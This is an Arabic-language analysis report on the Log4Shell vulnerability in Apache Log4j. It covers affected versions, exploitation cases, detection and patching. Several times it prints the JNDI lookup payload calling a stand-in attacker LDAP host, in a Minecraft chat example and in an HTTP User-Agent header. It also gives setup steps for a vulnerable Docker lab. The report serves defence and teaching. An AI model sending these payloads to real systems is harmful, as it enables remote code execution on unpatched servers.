
CVE-2021-44228
إيغلو كوربوريشن وون تشيهيون — تقرير تحليل Log4shell
CVE-2021-44228 Log4j هي مكتبة تسجيل سجلات مفتوحة المصدر ومجانية تابعة لمؤسسة Apache، مبنية على Java، وقابلة للتطبيق على جميع الخدمات المتنوعة المبنية على Java لتسجيل السجلات. وهي تتضمن ميزة Java Lookup الخاصة بـ LDAP:1389 للعثور على بيانات وكائنات JNDI والرجوع إليها، واستخدام الموارد التي يتم العثور عليها عبر JNDI.
تنزيل ملف صورة Docker لتشغيل الخادم الضعيف Asudo git clone sudo docker build . -t vulnerable-app يتم إنشاء صورة Docker في الدليل الحالي، مع تسمية الصورة الجديدة vulnerable-app
github.com/welk
إيقاف تشغيل الخادم الضعيف غير المستخدم docker ps -a لعرض جميع صور Docker قيد التشغيل docker container للتحقق من معرف الحاوية
Log4Shell (CVE-2021-44228) هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) تم اكتشافها في مكتبة Apache Log4j.
يمكن للمهاجم تنفيذ تعليمات برمجية عشوائية باستخدام حمولة خبيثة، مما قد يتسبب في أضرار واسعة النطاق.
يحلل هذا التقرير مبدأ عمل Log4Shell وتأثيرها وحالات استغلالها وطرق اكتشافها والاستجابة لها.
| البند | الوصف |
|---|---|
| اسم الثغرة | Log4Shell |
| رقم CVE | CVE-2021-44228 |
| نوع الثغرة | تنفيذ تعليمات برمجية عن بُعد (RCE) |
| الإصدارات المتأثرة | Log4j 2.0-beta9 ~ 2.14.1 |
| الإصدار المُصحَّح | Log4j 2.15.0 أو أحدث |
| صعوبة الاستغلال | منخفضة (يمكن استغلالها بمجرد إدخال سلسلة نصية بسيطة) |
| درجة الخطورة | 🔥 حرجة (CVSS 10.0) |
تتيح Log4Shell للمهاجم تنفيذ تعليمات برمجية خبيثة من خادم بعيد عبر استغلال ثغرة في وظيفة البحث JNDI (Java Naming and Directory Interface).
يمكن للمهاجم استغلال الثغرة بمجرد ترك السلسلة النصية التالية في السجل:
${jndi:ldap://attacker.com:1389/exploit}
4.1 الخدمات والأنظمة الرئيسية المتأثرة الخدمات السحابية: AWS, Google Cloud, Microsoft Azure تطبيقات المؤسسات: Apache Struts, ElasticSearch, VMware vCenter خوادم الألعاب: Minecraft, Steam مختلف تطبيقات وخوادم الويب: Spring Boot, Tomcat وغيرها 5. حالات الاستغلال وأمثلة الهجوم 5.1 هجوم خادم Minecraft تمكن المهاجم من السيطرة على الخادم بإدخال السلسلة النصية التالية في نافذة دردشة Minecraft. shell نسخ تحرير ${jndi:ldap://attacker.com:1389/exploit} عندما يسجّل الخادم ذلك في السجل، يتم تنفيذ تعليمات برمجية خبيثة من خادم المهاجم عبر JNDI Lookup. 5.2 هجوم تطبيقات الويب إدخال حمولة خبيثة في الحقول التي تُسجَّل في السجل، مثل User-Agent وReferer وX-Forwarded-For، في طلبات HTTP. مثال: css نسخ تحرير GET / HTTP/1.1 Host: victim.com User-Agent: ${jndi:ldap://malicious.com:1389/exploit} 6. طرق الكشف والاستجابة 6.1 طرق اكتشاف الثغرة ✅ استخدام الماسحات الأمنية
log4j-scan (https://github.com/fullhunt/log4j-scan) log4shell-detector (https://github.com/Neo23x0/log4shell-detector) ✅ فحص ملفات السجل
إذا تم العثور على أنماط مثل ${jndi:ldap://...} في السجلات، يلزم الاستجابة الفورية. ✅ مراقبة الشبكة
التحقق من وجود طلبات LDAP أو RMI غير طبيعية. 6.2 طرق الاستجابة ✅ إجراءات فورية
الترقية إلى إصدار Log4j 2.15.0 أو أحدث. عند تشغيل Java، قم بتعيين متغيرات البيئة التالية: shell نسخ تحرير -Dlog4j2.formatMsgNoLookups=true حظر نمط jndi:ldap:// في جدار الحماية وأنظمة IDS/IPS. ✅ إجراءات أمنية طويلة الأجل
تقييد استخدام JNDI وتعزيز السياسات الأمنية. تطبيق جدار حماية تطبيقات الويب (WAF). إجراء فحوصات أمنية دورية ومسح للثغرات. 7. التصحيح وطرق الحل إصدار Log4j الإجراء المطلوب 2.0-beta9 ~ 2.14.1 ضعيف، يتطلب التحديث 2.15.0 تعطيل JNDI Lookup افتراضيًا 2.16.0 إزالة ميزة JNDI تمامًا 2.17.0 إجراءات تعزيز أمني إضافية ✅ يُنصح بالتحديث إلى أحدث إصدار (2.17.1 أو أحدث)! 8. الخاتمة تُعد Log4Shell (CVE-2021-44228) واحدة من أخطر الثغرات الأمنية التي ظهرت في السنوات الأخيرة. ✅ من الضروري تصحيح الأنظمة المتأثرة بسرعة وإجراء مراقبة أمنية مستمرة. ✅ يجب إجراء فحوصات أمنية على جميع التطبيقات التي تستخدم Log4j.